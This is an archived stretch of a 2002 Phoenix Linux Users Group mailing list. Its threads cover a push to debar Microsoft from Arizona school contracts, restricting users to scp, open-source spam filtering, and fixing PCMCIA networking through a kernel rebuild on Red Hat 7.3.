of the procurement rules is accurate, > > MS could be debarred from contracting with the state, its departments, > > its school districts, and its cities and municipalities. > > > >On Wednesday 19 June 2002 09:34, you wrote: > > > Would this be civil? > > > > > > Kimi > > > > > > At 6/19/02, you wrote: > > > >-----BEGIN PGP SIGNED MESSAGE----- > > > >Hash: SHA1 > > > > > > > >According to the state administrative rules, it looks like most if not > > > > all of the school districts could be required to initiate debarment > > > > proceedings against MS. Anyone know an attorney who is willing to > > > > take something like this on pro-bono? > > > > > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > > > Here is the response I received from David Cantelme, Deer Valley > > > > > school board member. He is the one who has > > > > > arizonalawinstitute@yahoo.com as his email address. It sounds to > > > > > me that all the school districts and the state itself should be > > > > > starting debarment proceedings against MS. We need to start > > > > > contacting the legislators, Attorney General's office and your > > > > > local school superintendents. > > > > > > > > > > > > > > > ----- Original Message ----- > > > > > From: "david cantelme" > > > > > To: "Tom Achtenberg" > > > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > > > > > > > Dear Mr. Actenburg: > > > > > > > > > > They do not, but similar rules found in the state > > > > > school district procurement rules do apply. Both sets > > > > > of rules have their origen in the state procurement > > > > > code. You can find the school district procurement > > > > > rules by going to the secretary of state web site. > > > > > Click on administrative rules. Go to title seven. > > > > > Then scroll down to R7-2-1001. That's where the rules > > > > > begin. They continue to about R7-2-1175. > > > > > > > > > > Debarment procedures do exist in the school district > > > > > procurement rules. You would need to address your > > > > > comments on debarment to the adminsitration. That's > > > > > who would initiate the procedure. If the > > > > > administration initiates a debarment procedure, the > > > > > board determines whether to appoint a hearing officer. > > > > > It goes from there to the officer with appropriate > > > > > due process to the contractor. The board itself has > > > > > no involvement in the hearing process. The officer > > > > > must be independent to ensure a fair hearing under our > > > > > constitutional system. > > > > > > > > > > --- Tom Achtenberg wrote: > > > > > > I was wondering if the Maricopa County purchasing > > > > > > policies listed below apply > > > > > > to DVUSD purchasing pprocedures? > > > > > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > > > > > MC1-101 DEFINITIONS > > > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > > > with a County > > > > > > Governmental unit. For purposes of Article 5, > > > > > > Contractor may also mean > > > > > > Respondent as defined in this Article. > > > > > > 36."DEBARMENT" means an action taken by the County > > > > > > Administrative > > > > > > Officer under MC1-902 to prohibit a Person from > > > > > > Participating in > > > > > > Maricopa County Procurements. > > > > > > 80."PERSON" means any corporation, Business, > > > > > > individual, union, > > > > > > committee, club, other organization or group of > > > > > > individuals. > > > > > > 113."SUSPENSION" means an action taken by the County > > > > > > Administrative > > > > > > Officer under MC1-902 temporarily disqualifying a > > > > > > Person from > > > > > > participating in Maricopa County Procurements. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > > > This is important > > > > > > below.] > > > > > > > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > > > All Specifications shall seek to promote overall > > > > > > economy for the purpose > > > > > > intended and encourage competition in satisfying > > > > > > Maricopa County's needs > > > > > > and shall not be unduly restrictive. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > > > > > [Is there any technology that is Microsoft > > > > > > exclusive? I believe there > > > > > > are sites that explain how to replace Exchange > > > > > > Server completely using > > > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > > > with mySQL or PostgreSQL; > > > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > > > Office suite is > > > > > > replaceable with the very comparable Open Office > > > > > > suite.] > > > > > > > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > > > B. The causes for Debarment or Suspension shall > > > > > > include, but are not > > > > > > limited to, the following: > > > > > > 2. Conviction of any Person or any subsidiary or > > > > > > affiliate of any Person > > > > > > under any statute of the Federal government, this > > > > > > State or its political > > > > > > subdivision or any other State for: > > > > > > k. Any other offense indicating a lack of business > > > > > > integrity or business > > > > > > honesty which affects responsibility as a > > > > > > Contractor. > > > > > > 3. Conviction or civil judgment finding a violation > > > > > > by any Person or any > > > > > > subsidiary or affiliate of any Person under State or > > > > > > Federal Antitrust > > > > > > Statutes. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > > > been convicted of a > > > > > > violation of Federal Antitrust Statues, cannot be a > > > > > > County Contractor. > > > > > > > > > > > > There are many alternatives to Microsofts products. > > > > > > Alternatives that have > > > > > > broken no laws, Federal or Local, are well supported > > > > > > and used by many large > > > > > > governments (Germany, Taiwan, et al). As a > > > > > > concerned voter in the DVUSD, I > > > > > > must point out that I cannot support criminal > > > > > > behavior and would hope that my > > > > > > Governing Board would see fit to do the same and > > > > > > ONLY consider alternatives > > > > > > as Microsoft is clearly unqualified to meet District > > > > > > requirements. > > > > > > > > > > > > Thank You, > > > > > > > > > > > > Tom Achtenberg > > > > > > > > > > > > PS this message was written ans sent to you using a > > > > > > computer that is 100% > > > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > > > operating system, KDE windows > > > > > > like desktop and the K-mail email client. All if > > > > > > these programs come under > > > > > > the "General Public License" which means they are > > > > > > 100% free to the public for > > > > > > personal and commercial use. > > > > > > -- > > > > > > Visit the Mountain Ridge Band Site at > > > > > > > > > > http://www.mrhsband.org > > > > > > > > > > > > > > > __________________________________________________ > > > > > Do You Yahoo!? > > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > > > > > > > > > --- > > > > > Outgoing mail is certified Virus Free. > > > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write > > > > > mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > >- -- > > > >Jim > > > > > > > >Freedom is worth protecting > > > > > > > >-----BEGIN PGP SIGNATURE----- > > > >Version: PGP 6.5.8 > > > > > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > > > >uqHWgWriXgbXcZvWptly5CtJ > > > >=tKg8 > > > >-----END PGP SIGNATURE----- > > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ > >jvqee9WrnED2XJex6UfhtK/4 > >=EQ9s > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRIlUisk3ywszI1FEQLjAwCgi8Gat/DzwXLLps86ERKNaV0Pz5sAnjgs 6J1BRN9hvnL3eQCQofqRJj57 =tVDI -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 19:31:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 20 Jun 2002 12:31:31 -0700 (PDT) Subject: favicon.ico for your Linux website Message-ID: This message is in MIME format. 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Pick a language...like say...Java. Get a good algorithm book and develop some simple programs that show these algorithms (ie sorting, searching, recursion etc...). Develop small applets to show on a job interview. Along with these applets, write up a diagram and pseudocode to explain what the algoritm does. In case of Java, draw some simple UML diagrams to show the relationships between your classes. Understanding some basic algrithm concepts helps in a lot of ways. 1. Algoritms exist because some programmer from the past has solved some particular problem - you don't have to re-invent the wheel. 2. Understanding algoritm gives you a deeper understanding how programming really works. Control-flow statemetns, functions and proceedures are related somehow. Algorithms are a great example of how these programming pieces fit together as a whole. This suggestion probably won't land you a job right away, but you have to love programming. When you go to an interview, they will most likely sit you down on a computer and program something. Knowing some basic algorithms can help. You can use this as 'experience.' ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 20:34:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 16:34:38 -0400 Subject: Limiting a user to scp and not ssh References: <1024591268.12366.33.camel@wwarner> Message-ID: <3D123C5E.BED06C7E@georgetoft.com> I tried that, and could not scp any files. George Bill Warner wrote: > > Your probably better off just setting there shell to /bin/false in > /etc/passwd. > > If there is every any kind of security hole in scp that someone could > exploit they could get in to your box with your current setup. > > Bill Warner > > On Wed, 2002-06-19 at 18:48, Matt Alexander wrote: > > I'm trying to configure a box so people can scp files to it, but can't > > actually ssh in. I created a script named scpsh with this in it: > > > > #!/bin/sh > > # > > exec /usr/bin/scp -t $HOME > > > > > > Then I added scpsh to /etc/shells and made it their shell in > > /etc/passwd. > > So now users can use scp to copy files over just fine, but when they try > > to ssh, it sits there until they hit a key, at which point they get: > > > > scp: protocol error: unexpected > > Connection to 1.2.3.4 closed. > > > > > > Is this the best way to handle this? Is there a better way that anyone > > knows of? > > Thanks, > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- > Bill Warner > Unix/Linux Admin. > Direct Alliance Corporation > > Company required stuff: > > Contents are Direct Alliance Corporation Confidential > > This message is for the designated recipient(s) only and contains > Direct Alliance Corporation privileged and confidential information. > If you have received it in error, please notify the sender immediately > and delete the original. Any other use of this email is prohibited. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 20:34:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 13:34:50 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: References: Message-ID: <1024605291.12366.60.camel@wwarner> I didn't think you needed to have a valid shell to run scp. sorry Bill W On Thu, 2002-06-20 at 09:57, Matt Alexander wrote: > Uhhh... but I want them to be able to scp to my box. If I set their > shell to /bin/false, they can't scp in. > > > On 20 Jun 2002, Bill Warner wrote: > > > Your probably better off just setting there shell to /bin/false in > > /etc/passwd. > > > > If there is every any kind of security hole in scp that someone could > > exploit they could get in to your box with your current setup. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:10:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 14:10:24 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024605291.12366.60.camel@wwarner>; from wwarner@direct-alliance.com on Thu, Jun 20, 2002 at 01:34:50PM -0700 References: <1024605291.12366.60.camel@wwarner> Message-ID: <20020620141024.A25950@nadesico> How about this: - Set the user's shell to /bin/false - Edit your sshd.conf file to allow logins without a valid shell The results should allow you to run scp to copy files, but when ssh is run, it will start /bin/false as the default shell -- thereby immediately logging you out again. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org On Thu, Jun 20, 2002 at 01:34:50PM -0700, Bill Warner wrote: > I didn't think you needed to have a valid shell to run scp. > > sorry > > Bill W > > On Thu, 2002-06-20 at 09:57, Matt Alexander wrote: > > Uhhh... but I want them to be able to scp to my box. If I set their > > shell to /bin/false, they can't scp in. > > > > > > On 20 Jun 2002, Bill Warner wrote: > > > > > Your probably better off just setting there shell to /bin/false in > > > /etc/passwd. > > > > > > If there is every any kind of security hole in scp that someone could > > > exploit they could get in to your box with your current setup. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- > Bill Warner > Unix/Linux Admin. > Direct Alliance Corporation > > Company required stuff: > > Contents are Direct Alliance Corporation Confidential > > This message is for the designated recipient(s) only and contains > Direct Alliance Corporation privileged and confidential information. > If you have received it in error, please notify the sender immediately > and delete the original. Any other use of this email is prohibited. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:06:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 14:06:37 -0700 Subject: Help getting experience In-Reply-To: <20020620194818.80772.qmail@web10602.mail.yahoo.com> References: <20020620194818.80772.qmail@web10602.mail.yahoo.com> Message-ID: <1024607198.12366.66.camel@wwarner> Any sugestins for a specific book? I would like to do this as well to help inprove my programming. Bill W On Thu, 2002-06-20 at 12:48, Alpha Zenon Sanchez wrote: > Here's what I'm doing, and perhaps you can do this > too. > > Pick a language...like say...Java. Get a good > algorithm book and develop some simple programs that > show these algorithms (ie sorting, searching, > recursion etc...). Develop small applets to show on a > job interview. > > Along with these applets, write up a diagram and > pseudocode to explain what the algoritm does. In case > of Java, draw some simple UML diagrams to show the > relationships between your classes. > > > Understanding some basic algrithm concepts helps in a > lot of ways. > > 1. Algoritms exist because some programmer from the > past has solved some particular problem - you don't > have to re-invent the wheel. > > 2. Understanding algoritm gives you a deeper > understanding how programming really works. > Control-flow statemetns, functions and proceedures are > related > somehow. Algorithms are a great example of how these > programming pieces fit together as a whole. > > This suggestion probably won't land you a job right > away, but you have to love programming. When you go > to an interview, they will most likely sit you down on > a computer and program something. Knowing some basic > algorithms can help. > > You can use this as 'experience.' > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 20 Jun 2002 14:36:36 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024605291.12366.60.camel@wwarner> References: <1024605291.12366.60.camel@wwarner> Message-ID: <200206201436.45765.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 01:34 pm, Bill Warner wrote: > I didn't think you needed to have a valid shell to run scp. You need a valid shell to do anything with ssh. Essentially, scp and sftp are wrappers for ssh that call '$SHELL -c scp/sftp'. With the commercial ssh, there is a program called ssh-dummy-shell, but this program is not available with OpenSSH. The following "shell" should do the same thing. Note that it only allows scp and not sftp connections. - -------- #include int main(int argc, char** argv) { if (--argc == 2 && strcmp("-c", *++argv) == 0 && strcmp("scp", *++argv) == 0) { execl(SFTPSERVERPATH, SFTPSERVERPATH, NULL); } exit(0); } - -------- Note that I have _not_ tested the above code, so wait for the reviews to poor in. ;-) - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EkrqpNoctRtUIRQRAlkLAJ9MwNIusTLfWvOHdny/e0FqAFF4jwCcCxu3 Gj0XkEuJv2Vq/ATl7lfLUj4= =1IX0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:54:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Thu, 20 Jun 2002 21:54:25 +0000 (GMT) Subject: SMTP mail relay server for SPAM filtering In-Reply-To: Message-ID: On Thu, 20 Jun 2002, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! The biggest problem when tackling spam filtering is political, not technical. One can eliminate almost all spam by simply not allowing HTML-encoded E-mails; refusing to accept E-Mail from sites that have improper reverse lookups, are listed in one of the many dial-up lists, and/or are coming from networks like AOL (but not from one of AOL's well-publicized mail servers); and by requiring that the To: header contain the target E-Mail address (i.e. refuse Blind carbon copies). The problem lies in the fact that with each of these significant changes, you're going to have a small amount of "collateral damage." The HTML E-mail filtering alone may bite you: if colleagues outside your network use Outlook, you might end up "accidentally" killing off messages intended for delivery. How are your users going to handle this situation? Is the spam problem bad enough that the vast majority of users are willing to deal with the infrequent problems of a proper message not getting through? After you've fought all the political battles (either in your head or literally hand-to-hand with your users), you might want to consider the following: Vipul's Razor is an excellent tool that filters spam based on a rating system. It's a bit "geeky", in that it is designed for unix geeks and probably isn't the easiest to deal with. However, I have heard of it working with Sendmail and exim in an arrangement not unlike what you desire (a front-end MTA ahead of Exchange). http://sourceforge/projects/razor is the sourceforge page. Exim (my personal favorite MTA) can handle the quantity of messages you're talking about (especially on a reasonably quick machine), and has the ability to add MAPS RBL and the like into it. It also can be configured as a front-end MTA, however not quite as cleanly as qmail or sendmail. I've done qmail as a front-end mail router/filter. It does work well for that functionality as well. If you're interested, mail me offlist and I'll see if I can find recipies for anti-spam for qmail (this was a responsibility of mine at a former employer). -Fedl From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 22:49:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 20 Jun 2002 15:49:47 -0700 Subject: Plug Certs? Message-ID: <3D125C0B.4070402@qwest.net> Hey all, Just a mindless musing maybe, but what about a PLUG mini certification for passing one of the classes that are gonna be offered. Just bouncing the idea offa yer skullz. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 22:53:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 20 Jun 2002 15:53:15 -0700 Subject: Help getting experience References: <20020620194818.80772.qmail@web10602.mail.yahoo.com> Message-ID: <3D125CDB.8030805@qwest.net> Alpha Zenon Sanchez wrote: >Here's what I'm doing, and perhaps you can do this >too. > >Pick a language...like say...Java. Get a good >algorithm book and develop some simple programs that >show these algorithms (ie sorting, searching, >recursion etc...). Develop small applets to show on a >job interview. > >Along with these applets, write up a diagram and >pseudocode to explain what the algoritm does. In case >of Java, draw some simple UML diagrams to show the >relationships between your classes. > > >Understanding some basic algrithm concepts helps in a >lot of ways. > >1. Algoritms exist because some programmer from the >past has solved some particular problem - you don't >have to re-invent the wheel. > >2. Understanding algoritm gives you a deeper >understanding how programming really works. >Control-flow statemetns, functions and proceedures are >related >somehow. Algorithms are a great example of how these >programming pieces fit together as a whole. > >This suggestion probably won't land you a job right >away, but you have to love programming. When you go >to an interview, they will most likely sit you down on >a computer and program something. Knowing some basic >algorithms can help. > >You can use this as 'experience.' >there are also a lot of not for profit groups that would like your volunteer work that you could use for experience also. Just a thought if you are interested email me off list @ malbojia@qwest.net > Ray >===== >Thanks, >Alpha Zenon Sanchez > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:16:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 16:16:36 -0700 Subject: Plug Logo Update Message-ID: <200206201616.36289.zen2now@qwest.net> I just wanted to give you guys an update on the progress of the new image. Austin is done with the complete re-draw of Tux, and i must say it is the most beautiful computer generated Tux image i have ever seen. the lines are so clean, and aliasing is non-existent on the edges and should remain that way no matter how big or small the image is. he would have already been done with it, but our CEO has slammed him with a lot of work. so hopefully by next week sometime we will have a complete vector image, and by looks of it so far, one we will all be very proud to hang across our upper torso's. :~D slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:24:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Thu, 20 Jun 2002 16:24:14 -0700 Subject: Off-topic... Message-ID: So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? Email off-list since this is off topic. :) (Though it IS an Open-source Unix based OS) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:01:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Thu, 20 Jun 2002 19:01:57 -0400 Subject: Need help with IRQ conflict with pcmcia network card Message-ID: <20020620230200.QLIO1131.lakemtao07.cox.net@smtp.central.cox.net> I fixed the problem by 1. setting all system devices to be plug-n-play in the bios 2. reset the config.opts to the defaults 3. uncommented the line "include port 0x1000-0x17ff" in config.opts. Pcmcia and networking now work. Mark > > From: Mark Phillips > Date: 2002/06/19 Wed PM 08:44:05 EDT> To: plug-discuss@lists.plug.phoenix.az.us > Subject: Need help with IRQ conflict with pcmcia network card > > The kernel (2.4.18) finally compiled (after 8 hours - see below) and actualy works! However, I now get an IRQ conflict with my ethernet pcmcia card! > > I get the error message > 3c589_cs RequestIRQ: Resource in use > in /var/log/messages. I added the line > module "3c589_cs" opts "irq_mask=0x2240" > to /etc/pcmcia/config.opts, but I still get the same message (based on the /etc/pcmcia/interrupts file and the bios settings, IRQ 6, 9 and 13 should be free; hence the 0x2240). My ethernet card is a 3Com 3c589D (Etherlink III) pcmcia card. > > Any brilliant (or not so brilliant) ideas will be greatly appreciated! > > Mark > > > > From: Mark Phillips > > Date: 2002/06/18 Tue PM 11:47:16 EDT> > To: plug-discuss@lists.plug.phoenix.az.us, kevin_brown@qwest.net > > Subject: Re: Re: Need Help with Redhat 7.3 Install > > > > Kevin, > > > > Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. > > > > I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: > > > > 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) > > 2. I removed the pcmcia stuff as you described below. > > > > I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. > > > > You can find this (bizarre??) card under Telephony Support. Maybe it was not included in the i386.config file?? > > > > I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). > > > > I will let you know if I find any other problems. > > > > Thanks again! > > > > Mark > > > > > > From: "Kevin Brown" > > > Date: 2002/06/17 Mon PM 07:12:36 EDT> > > To: plug-discuss@lists.plug.phoenix.az.us > > > Subject: Re: Need Help with Redhat 7.3 Install > > > > > > I gave Mark a call this morning, but thought I'd send this out to the list since > > > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > > > > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > > > package from the system. > > > > > > rpm -e kernel-pcmcia-cs > > > > > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > > > kernel.org> > > wget> > > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > > > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > > > wget> > > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > > > cd /usr/src> > > tar -xvzf ~/linux-2.4.18.tar.gz> > > rpm -ivh ~/kernel-2.4.18.src.rpm > > > cd /usr/src/redhat/SOURCES > > > cp kernel-config- /usr/src/linux/.config> > > > > > Alter the config of the kernel: > > > cd /usr/src/linux> > > make menuconfig> > > > > > Remove PCMCIA Support > > > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > > > hit n to remove it, then exit config and save the changes > > > > > > make dep && make clean && make bzImage && make modules && make modules_install > > > > > > Wait for it to finish. On my P150 this took most of the night to do. > > > > > > cd /usr/src/linux/arch/i386/boot > > > cp bzImage /boot/vmlinuz-2.4.18 > > > > > > Assuming you are using grub, edit /etc/grub.conf > > > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo> > > > > > Easy way to edit both is to copy the config that is currently booting and rename > > > kernel it is loading. > > > > > > Reboot the system and select the recently compiled kernel. > > > > > > Now rebuild PCMCIA support. > > > > > > cd /usr/src> > > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz> > > cd pcmcia-cs-3.1.34 > > > make config && make all && make install > > > > > > You should be able to accept the defaults during make config. Once done test by > > > starting it up. > > > > > > /etc/rc.d/init.d/pcmcia start > > > > > > Hope this helps. > > > > > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > > > > > Thanks! > > > > > > > > > > > > > > > > Mark Phillips> > > > Phillips Marketing, Inc. > > > > 480.945.0798 > > > > 480.945.9197 fax > > > > mark@phillipsmarketing.biz> > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > Mark Phillips> > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > 